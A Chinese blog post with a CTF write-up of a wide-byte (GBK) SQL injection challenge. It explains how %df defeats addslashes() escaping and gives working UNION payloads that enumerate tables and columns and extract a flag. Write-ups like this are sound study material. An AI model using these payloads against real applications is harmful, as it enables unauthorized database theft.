美文网首页
GBK Inject

GBK Inject

作者: seeiy | 来源:发表于2019-01-08 15:54 被阅读16次

    提示是GBK Inject,就是宽字节注入,我们用单引号试试,发现返回的字节在我们的单引号前面加一个反斜杠,应该是使用了addslashes()这个函数

    image.png

    宽字节注入的原理就是:

    mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。

    众所周知的这里在单引号前面使用%df,可以看到返回了一个不是汉字的字,并且我们的单引号前面的反斜杠被"吃了",yeah!

    image.png

    好了,开始构造payload,经过测试发现这里只有两列,并且只有第二列显示数据,还有,如果使用union一定要记住union前面的条件要是false!!!!!这次我也犯蠢了=.=
    故payload如下:

    id=-1%df%27union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23
    

    这里我刚开始是使用burp进行的改包,但是刚开始一直没成功

    刚开始没成功 成功了的

    这里仔细看的话可以很明显发现不一样的点,没成功的那张图只有前面的payload是红了,成功的截图确实全部都是红的.
    这里我猜测应该是URL编码的问题,没成功的那段payload后面的空格因为是我手写的原因只是按了空格键,没有被编码成%20.
    我在将空格替换成%20以后就可以成功执行了

    在对上面几个表一一尝试以后发现ctf4这张表中存在我们想要的数据,前排提示,这里我们需要对表明进行十六进制的转换哦,我们前面没有对数据库名进行转换是因为我们调用的是database()这个函数,没有直接写数据库名,否则也是要进行十六进制编码的哦:

    id=-1%df%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x63746634%20%23
    
    image.png

    获取数据的payload:

    id=-1%df%27%20union%20select%201,flag%20from%20ctf4%20%23
    
    image.png

    flag应该就是这个flag{this_is_sqli_flag},但是输入提示不对

    emmmm发现我得到的flag跟以前人做的又不一样=.=

    相关文章

      网友评论

          本文标题:GBK Inject

          本文链接:https://www.haomeiwen.com/subject/qnevrqtx.html